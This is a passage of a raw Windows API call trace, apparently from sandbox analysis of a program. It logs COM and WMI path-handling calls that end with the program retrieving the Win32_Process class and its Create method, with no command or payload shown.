Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b2fc158 | out: ppvObject=0x1b2fc158*=0x0) returned 0x80004002 [0073.880] WbemDefPath:IUnknown:QueryInterface (in: This=0x1169500, riid=0x7fef1d16988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b2fc0e0 | out: ppvObject=0x1b2fc0e0*=0x0) returned 0x80004002 [0073.880] WbemDefPath:IUnknown:QueryInterface (in: This=0x1169500, riid=0x7fef1d15de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc0d0 | out: ppvObject=0x1b2fc0d0*=0x1bf633c0) returned 0x0 [0073.880] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1bf633c0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b2fc0f8 | out: pCid=0x1b2fc0f8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0073.880] WbemDefPath:IUnknown:Release (This=0x1bf633c0) returned 0x3 [0073.880] CoGetContextToken (in: pToken=0x1b2fc180 | out: pToken=0x1b2fc180) returned 0x0 [0073.880] CoGetContextToken (in: pToken=0x1b2fc600 | out: pToken=0x1b2fc600) returned 0x0 [0073.880] WbemDefPath:IUnknown:QueryInterface (in: This=0x1169500, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc6c0 | out: ppvObject=0x1b2fc6c0*=0x0) returned 0x80004002 [0073.880] WbemDefPath:IUnknown:Release (This=0x1169500) returned 0x2 [0073.880] WbemDefPath:IUnknown:Release (This=0x1169500) returned 0x1 [0073.880] CoGetContextToken (in: pToken=0x1b2fd420 | out: pToken=0x1b2fd420) returned 0x0 [0073.880] CoGetContextToken (in: pToken=0x1b2fd320 | out: pToken=0x1b2fd320) returned 0x0 [0073.880] WbemDefPath:IUnknown:QueryInterface (in: This=0x1169500, riid=0x1b2fd480*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b2fd450 | out: ppvObject=0x1b2fd450*=0x1169500) returned 0x0 [0073.880] WbemDefPath:IUnknown:AddRef (This=0x1169500) returned 0x3 [0073.880] WbemDefPath:IUnknown:Release (This=0x1169500) returned 0x2 [0073.881] WbemDefPath:IWbemPath:SetText (This=0x1169500, uMode=0x4, pszPath="ROOT\\CIMV2") returned 0x0 [0073.881] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x11695c0, puCount=0x1b2fd890 | out: puCount=0x1b2fd890*=0x0) returned 0x0 [0073.881] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1169500, puCount=0x1b2fd890 | out: puCount=0x1b2fd890*=0x2) returned 0x0 [0073.881] WbemDefPath:IWbemPath:GetText (in: This=0x1169500, lFlags=16, puBuffLength=0x1b2fd888*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd888*=0xb, pszText=0x0) returned 0x0 [0073.881] WbemDefPath:IWbemPath:GetText (in: This=0x1169500, lFlags=16, puBuffLength=0x1b2fd888*=0xb, pszText="0000000000" | out: puBuffLength=0x1b2fd888*=0xb, pszText="ROOT\\CIMV2") returned 0x0 [0073.881] WbemDefPath:IWbemPath:RemoveAllNamespaces (This=0x11695c0) returned 0x0 [0073.881] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1169500, puCount=0x1b2fd8f0 | out: puCount=0x1b2fd8f0*=0x2) returned 0x0 [0073.881] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1169500, uIndex=0x0, puNameBufLength=0x1b2fd8e8*=0x0, pName=0x0 | out: puNameBufLength=0x1b2fd8e8*=0x5, pName=0x0) returned 0x0 [0073.881] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1169500, uIndex=0x0, puNameBufLength=0x1b2fd8e8*=0x5, pName="0000" | out: puNameBufLength=0x1b2fd8e8*=0x5, pName="ROOT") returned 0x0 [0073.881] WbemDefPath:IWbemPath:SetNamespaceAt (This=0x11695c0, uIndex=0x0, pszName="ROOT") returned 0x0 [0073.881] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1169500, uIndex=0x1, puNameBufLength=0x1b2fd8e8*=0x0, pName=0x0 | out: puNameBufLength=0x1b2fd8e8*=0x6, pName=0x0) returned 0x0 [0073.881] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1169500, uIndex=0x1, puNameBufLength=0x1b2fd8e8*=0x6, pName="00000" | out: puNameBufLength=0x1b2fd8e8*=0x6, pName="CIMV2") returned 0x0 [0073.881] WbemDefPath:IWbemPath:SetNamespaceAt (This=0x11695c0, uIndex=0x1, pszName="CIMV2") returned 0x0 [0073.881] WbemDefPath:IWbemPath:GetClassName (in: This=0x11695c0, puBuffLength=0x1b2fd928*=0x0, pszName=0x0 | out: puBuffLength=0x1b2fd928*=0x0, pszName=0x0) returned 0x8004103a [0073.881] WbemDefPath:IWbemPath:SetClassName (This=0x11695c0, Name="Win32_Process") returned 0x0 [0073.881] WbemDefPath:IWbemPath:GetInfo (in: This=0x11695c0, uRequestedInfo=0x0, puResponse=0x1b2fda08 | out: puResponse=0x1b2fda08*=0x20c16) returned 0x0 [0073.881] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x11695c0, puCount=0x1b2fd960 | out: puCount=0x1b2fd960*=0x2) returned 0x0 [0073.881] WbemDefPath:IWbemPath:GetText (in: This=0x11695c0, lFlags=4, puBuffLength=0x1b2fd958*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd958*=0x26, pszText=0x0) returned 0x0 [0073.882] WbemDefPath:IWbemPath:GetText (in: This=0x11695c0, lFlags=4, puBuffLength=0x1b2fd958*=0x26, pszText="0000000000000000000000000000000000000" | out: puBuffLength=0x1b2fd958*=0x26, pszText="\\\\Q9IATRKPRH\\ROOT\\CIMV2:Win32_Process") returned 0x0 [0073.882] WbemDefPath:IWbemPath:GetInfo (in: This=0x11695c0, uRequestedInfo=0x0, puResponse=0x1b2fd978 | out: puResponse=0x1b2fd978*=0x20c16) returned 0x0 [0073.882] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x11695c0, puCount=0x1b2fd960 | out: puCount=0x1b2fd960*=0x2) returned 0x0 [0073.882] WbemDefPath:IWbemPath:GetText (in: This=0x11695c0, lFlags=8, puBuffLength=0x1b2fd958*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd958*=0x18, pszText=0x0) returned 0x0 [0073.882] WbemDefPath:IWbemPath:GetText (in: This=0x11695c0, lFlags=8, puBuffLength=0x1b2fd958*=0x18, pszText="00000000000000000000000" | out: puBuffLength=0x1b2fd958*=0x18, pszText="\\\\Q9IATRKPRH\\ROOT\\CIMV2") returned 0x0 [0073.882] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x11698c0, puCount=0x1b2fd960 | out: puCount=0x1b2fd960*=0x2) returned 0x0 [0073.882] WbemDefPath:IWbemPath:GetText (in: This=0x11698c0, lFlags=16, puBuffLength=0x1b2fd958*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd958*=0xb, pszText=0x0) returned 0x0 [0073.882] WbemDefPath:IWbemPath:GetText (in: This=0x11698c0, lFlags=16, puBuffLength=0x1b2fd958*=0xb, pszText="0000000000" | out: puBuffLength=0x1b2fd958*=0xb, pszText="root\\cimv2") returned 0x0 [0073.882] WbemDefPath:IWbemPath:GetText (in: This=0x11695c0, lFlags=2, puBuffLength=0x1b2fd968*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd968*=0xe, pszText=0x0) returned 0x0 [0073.882] WbemDefPath:IWbemPath:GetText (in: This=0x11695c0, lFlags=2, puBuffLength=0x1b2fd968*=0xe, pszText="0000000000000" | out: puBuffLength=0x1b2fd968*=0xe, pszText="Win32_Process") returned 0x0 [0073.882] CoGetObjectContext (in: riid=0x28f4798*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fd8b8 | out: ppv=0x1b2fd8b8*=0x111f638) returned 0x0 [0073.882] IComThreadingInfo:GetCurrentApartmentType (in: This=0x111f638, pAptType=0x1b2fd8a8 | out: pAptType=0x1b2fd8a8*=1) returned 0x0 [0073.882] IUnknown:QueryInterface (in: This=0x111f638, riid=0x28f4778*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b2fd8b0 | out: ppvObject=0x1b2fd8b0*=0x0) returned 0x80004002 [0073.882] IUnknown:Release (This=0x111f638) returned 0x1 [0073.885] CoGetClassObject (in: rclsid=0x1185388*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef1d395c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fccd0 | out: ppv=0x1b2fccd0*=0x1bf63620) returned 0x0 [0073.885] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf63620, riid=0x7fef1d5e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b2fcd18 | out: ppvObject=0x1b2fcd18*=0x0) returned 0x80004002 [0073.885] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1bf63620, pUnkOuter=0x0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fccc8 | out: ppvObject=0x1b2fccc8*=0x1168c00) returned 0x0 [0073.885] WbemDefPath:IUnknown:Release (This=0x1bf63620) returned 0x0 [0073.885] WbemDefPath:IUnknown:QueryInterface (in: This=0x1168c00, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcad8 | out: ppvObject=0x1b2fcad8*=0x1168c00) returned 0x0 [0073.885] WbemDefPath:IUnknown:QueryInterface (in: This=0x1168c00, riid=0x7fef1d16968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b2fcb80 | out: ppvObject=0x1b2fcb80*=0x0) returned 0x80004002 [0073.886] WbemDefPath:IUnknown:AddRef (This=0x1168c00) returned 0x3 [0073.886] WbemDefPath:IUnknown:QueryInterface (in: This=0x1168c00, riid=0x7fef1d16978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b2fc228 | out: ppvObject=0x1b2fc228*=0x0) returned 0x80004002 [0073.886] WbemDefPath:IUnknown:QueryInterface (in: This=0x1168c00, riid=0x7fef1d16988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b2fc1b0 | out: ppvObject=0x1b2fc1b0*=0x0) returned 0x80004002 [0073.886] WbemDefPath:IUnknown:QueryInterface (in: This=0x1168c00, riid=0x7fef1d15de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc1a0 | out: ppvObject=0x1b2fc1a0*=0x1bf63660) returned 0x0 [0073.886] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1bf63660, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b2fc1c8 | out: pCid=0x1b2fc1c8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0073.886] WbemDefPath:IUnknown:Release (This=0x1bf63660) returned 0x3 [0073.886] CoGetContextToken (in: pToken=0x1b2fc250 | out: pToken=0x1b2fc250) returned 0x0 [0073.886] CoGetContextToken (in: pToken=0x1b2fc6d0 | out: pToken=0x1b2fc6d0) returned 0x0 [0073.886] WbemDefPath:IUnknown:QueryInterface (in: This=0x1168c00, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc790 | out: ppvObject=0x1b2fc790*=0x0) returned 0x80004002 [0073.886] WbemDefPath:IUnknown:Release (This=0x1168c00) returned 0x2 [0073.886] WbemDefPath:IUnknown:Release (This=0x1168c00) returned 0x1 [0073.886] CoGetContextToken (in: pToken=0x1b2fd4f0 | out: pToken=0x1b2fd4f0) returned 0x0 [0073.886] CoGetContextToken (in: pToken=0x1b2fd3f0 | out: pToken=0x1b2fd3f0) returned 0x0 [0073.886] WbemDefPath:IUnknown:QueryInterface (in: This=0x1168c00, riid=0x1b2fd550*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b2fd520 | out: ppvObject=0x1b2fd520*=0x1168c00) returned 0x0 [0073.886] WbemDefPath:IUnknown:AddRef (This=0x1168c00) returned 0x3 [0073.886] WbemDefPath:IUnknown:Release (This=0x1168c00) returned 0x2 [0073.887] WbemDefPath:IWbemPath:SetText (This=0x1168c00, uMode=0x4, pszPath="Win32_Process") returned 0x0 [0073.887] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x11698c0, puCount=0x1b2fd960 | out: puCount=0x1b2fd960*=0x2) returned 0x0 [0073.887] WbemDefPath:IWbemPath:GetText (in: This=0x11698c0, lFlags=8, puBuffLength=0x1b2fd958*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd958*=0xf, pszText=0x0) returned 0x0 [0073.887] WbemDefPath:IWbemPath:GetText (in: This=0x11698c0, lFlags=8, puBuffLength=0x1b2fd958*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b2fd958*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0073.887] CoGetObjectContext (in: riid=0x28f4798*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fd7e8 | out: ppv=0x1b2fd7e8*=0x111f638) returned 0x0 [0073.887] IComThreadingInfo:GetCurrentApartmentType (in: This=0x111f638, pAptType=0x1b2fd7d8 | out: pAptType=0x1b2fd7d8*=1) returned 0x0 [0073.887] IUnknown:QueryInterface (in: This=0x111f638, riid=0x28f4778*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b2fd7e0 | out: ppvObject=0x1b2fd7e0*=0x0) returned 0x80004002 [0073.887] IUnknown:Release (This=0x111f638) returned 0x1 [0073.889] CoGetClassObject (in: rclsid=0x1185388*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef1d395c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fcc00 | out: ppv=0x1b2fcc00*=0x1bf636a0) returned 0x0 [0073.892] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf636a0, riid=0x7fef1d5e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b2fcc48 | out: ppvObject=0x1b2fcc48*=0x0) returned 0x80004002 [0073.892] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1bf636a0, pUnkOuter=0x0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcbf8 | out: ppvObject=0x1b2fcbf8*=0x1168fc0) returned 0x0 [0073.892] WbemDefPath:IUnknown:Release (This=0x1bf636a0) returned 0x0 [0073.892] WbemDefPath:IUnknown:QueryInterface (in: This=0x1168fc0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fca08 | out: ppvObject=0x1b2fca08*=0x1168fc0) returned 0x0 [0073.892] WbemDefPath:IUnknown:QueryInterface (in: This=0x1168fc0, riid=0x7fef1d16968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b2fcab0 | out: ppvObject=0x1b2fcab0*=0x0) returned 0x80004002 [0073.893] WbemDefPath:IUnknown:AddRef (This=0x1168fc0) returned 0x3 [0073.893] WbemDefPath:IUnknown:QueryInterface (in: This=0x1168fc0, riid=0x7fef1d16978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b2fc158 | out: ppvObject=0x1b2fc158*=0x0) returned 0x80004002 [0073.893] WbemDefPath:IUnknown:QueryInterface (in: This=0x1168fc0, riid=0x7fef1d16988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b2fc0e0 | out: ppvObject=0x1b2fc0e0*=0x0) returned 0x80004002 [0073.893] WbemDefPath:IUnknown:QueryInterface (in: This=0x1168fc0, riid=0x7fef1d15de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc0d0 | out: ppvObject=0x1b2fc0d0*=0x1bf636e0) returned 0x0 [0073.893] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1bf636e0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b2fc0f8 | out: pCid=0x1b2fc0f8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0073.893] WbemDefPath:IUnknown:Release (This=0x1bf636e0) returned 0x3 [0073.893] CoGetContextToken (in: pToken=0x1b2fc180 | out: pToken=0x1b2fc180) returned 0x0 [0073.893] CoGetContextToken (in: pToken=0x1b2fc600 | out: pToken=0x1b2fc600) returned 0x0 [0073.893] WbemDefPath:IUnknown:QueryInterface (in: This=0x1168fc0, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc6c0 | out: ppvObject=0x1b2fc6c0*=0x0) returned 0x80004002 [0073.893] WbemDefPath:IUnknown:Release (This=0x1168fc0) returned 0x2 [0073.894] WbemDefPath:IUnknown:Release (This=0x1168fc0) returned 0x1 [0073.894] CoGetContextToken (in: pToken=0x1b2fd420 | out: pToken=0x1b2fd420) returned 0x0 [0073.894] CoGetContextToken (in: pToken=0x1b2fd320 | out: pToken=0x1b2fd320) returned 0x0 [0073.894] WbemDefPath:IUnknown:QueryInterface (in: This=0x1168fc0, riid=0x1b2fd480*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b2fd450 | out: ppvObject=0x1b2fd450*=0x1168fc0) returned 0x0 [0073.894] WbemDefPath:IUnknown:AddRef (This=0x1168fc0) returned 0x3 [0073.894] WbemDefPath:IUnknown:Release (This=0x1168fc0) returned 0x2 [0073.894] WbemDefPath:IWbemPath:SetText (This=0x1168fc0, uMode=0x4, pszPath="\\\\.\\root\\cimv2") returned 0x0 [0073.894] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1168c00, puCount=0x1b2fd890 | out: puCount=0x1b2fd890*=0x0) returned 0x0 [0073.894] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1168fc0, puCount=0x1b2fd890 | out: puCount=0x1b2fd890*=0x2) returned 0x0 [0073.894] WbemDefPath:IWbemPath:GetText (in: This=0x1168fc0, lFlags=16, puBuffLength=0x1b2fd888*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd888*=0xb, pszText=0x0) returned 0x0 [0073.894] WbemDefPath:IWbemPath:GetText (in: This=0x1168fc0, lFlags=16, puBuffLength=0x1b2fd888*=0xb, pszText="0000000000" | out: puBuffLength=0x1b2fd888*=0xb, pszText="root\\cimv2") returned 0x0 [0073.894] WbemDefPath:IWbemPath:RemoveAllNamespaces (This=0x1168c00) returned 0x0 [0073.894] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1168fc0, puCount=0x1b2fd8f0 | out: puCount=0x1b2fd8f0*=0x2) returned 0x0 [0073.894] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1168fc0, uIndex=0x0, puNameBufLength=0x1b2fd8e8*=0x0, pName=0x0 | out: puNameBufLength=0x1b2fd8e8*=0x5, pName=0x0) returned 0x0 [0073.894] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1168fc0, uIndex=0x0, puNameBufLength=0x1b2fd8e8*=0x5, pName="0000" | out: puNameBufLength=0x1b2fd8e8*=0x5, pName="root") returned 0x0 [0073.894] WbemDefPath:IWbemPath:SetNamespaceAt (This=0x1168c00, uIndex=0x0, pszName="root") returned 0x0 [0073.894] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1168fc0, uIndex=0x1, puNameBufLength=0x1b2fd8e8*=0x0, pName=0x0 | out: puNameBufLength=0x1b2fd8e8*=0x6, pName=0x0) returned 0x0 [0073.894] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1168fc0, uIndex=0x1, puNameBufLength=0x1b2fd8e8*=0x6, pName="00000" | out: puNameBufLength=0x1b2fd8e8*=0x6, pName="cimv2") returned 0x0 [0073.894] WbemDefPath:IWbemPath:SetNamespaceAt (This=0x1168c00, uIndex=0x1, pszName="cimv2") returned 0x0 [0073.894] WbemDefPath:IWbemPath:GetServer (in: This=0x1168fc0, puNameBufLength=0x1b2fd8e0*=0x0, pName=0x0 | out: puNameBufLength=0x1b2fd8e0*=0x2, pName=0x0) returned 0x0 [0073.894] WbemDefPath:IWbemPath:GetServer (in: This=0x1168fc0, puNameBufLength=0x1b2fd8e0*=0x2, pName="0" | out: puNameBufLength=0x1b2fd8e0*=0x2, pName=".") returned 0x0 [0073.895] WbemDefPath:IWbemPath:GetServer (in: This=0x1168c00, puNameBufLength=0x1b2fd8e0*=0x0, pName=0x0 | out: puNameBufLength=0x1b2fd8e0*=0x2, pName=0x0) returned 0x0 [0073.895] WbemDefPath:IWbemPath:GetServer (in: This=0x1168c00, puNameBufLength=0x1b2fd8e0*=0x2, pName="0" | out: puNameBufLength=0x1b2fd8e0*=0x2, pName=".") returned 0x0 [0073.895] WbemDefPath:IWbemPath:GetInfo (in: This=0x1168c00, uRequestedInfo=0x0, puResponse=0x1b2fd978 | out: puResponse=0x1b2fd978*=0xc15) returned 0x0 [0073.895] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x11698c0, puCount=0x1b2fd8d0 | out: puCount=0x1b2fd8d0*=0x2) returned 0x0 [0073.895] WbemDefPath:IWbemPath:GetText (in: This=0x11698c0, lFlags=4, puBuffLength=0x1b2fd8c8*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd8c8*=0xf, pszText=0x0) returned 0x0 [0073.895] WbemDefPath:IWbemPath:GetText (in: This=0x11698c0, lFlags=4, puBuffLength=0x1b2fd8c8*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b2fd8c8*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0073.895] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x11698c0, puCount=0x1b2fd8a0 | out: puCount=0x1b2fd8a0*=0x2) returned 0x0 [0073.895] WbemDefPath:IWbemPath:GetText (in: This=0x11698c0, lFlags=4, puBuffLength=0x1b2fd898*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd898*=0xf, pszText=0x0) returned 0x0 [0073.895] WbemDefPath:IWbemPath:GetText (in: This=0x11698c0, lFlags=4, puBuffLength=0x1b2fd898*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b2fd898*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0073.895] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1168c00, puCount=0x1b2fd960 | out: puCount=0x1b2fd960*=0x2) returned 0x0 [0073.895] WbemDefPath:IWbemPath:GetText (in: This=0x1168c00, lFlags=4, puBuffLength=0x1b2fd958*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd958*=0x1d, pszText=0x0) returned 0x0 [0073.895] WbemDefPath:IWbemPath:GetText (in: This=0x1168c00, lFlags=4, puBuffLength=0x1b2fd958*=0x1d, pszText="0000000000000000000000000000" | out: puBuffLength=0x1b2fd958*=0x1d, pszText="\\\\.\\root\\cimv2:Win32_Process") returned 0x0 [0073.895] WbemDefPath:IWbemPath:GetText (in: This=0x1168c00, lFlags=2, puBuffLength=0x1b2fd968*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd968*=0xe, pszText=0x0) returned 0x0 [0073.895] WbemDefPath:IWbemPath:GetText (in: This=0x1168c00, lFlags=2, puBuffLength=0x1b2fd968*=0xe, pszText="0000000000000" | out: puBuffLength=0x1b2fd968*=0xe, pszText="Win32_Process") returned 0x0 [0073.896] IWbemServices:GetObject (in: This=0x11db0a0, strObjectPath="Win32_Process", lFlags=0, pCtx=0x0, ppObject=0x1b2fd7b0*=0x0, ppCallResult=0x0 | out: ppObject=0x1b2fd7b0*=0x11ece60, ppCallResult=0x0) returned 0x0 [0073.899] IWbemClassObject:GetMethod (in: This=0x11ece60, wszName="Create", lFlags=0, ppInSignature=0x1b2fd9e8, ppOutSignature=0x1b2fd9e0 | out: ppInSignature=0x1b2fd9e8*=0x11ed1d0, ppOutSignature=0x1b2fd9e0*=0x11ed540) returned 0x0 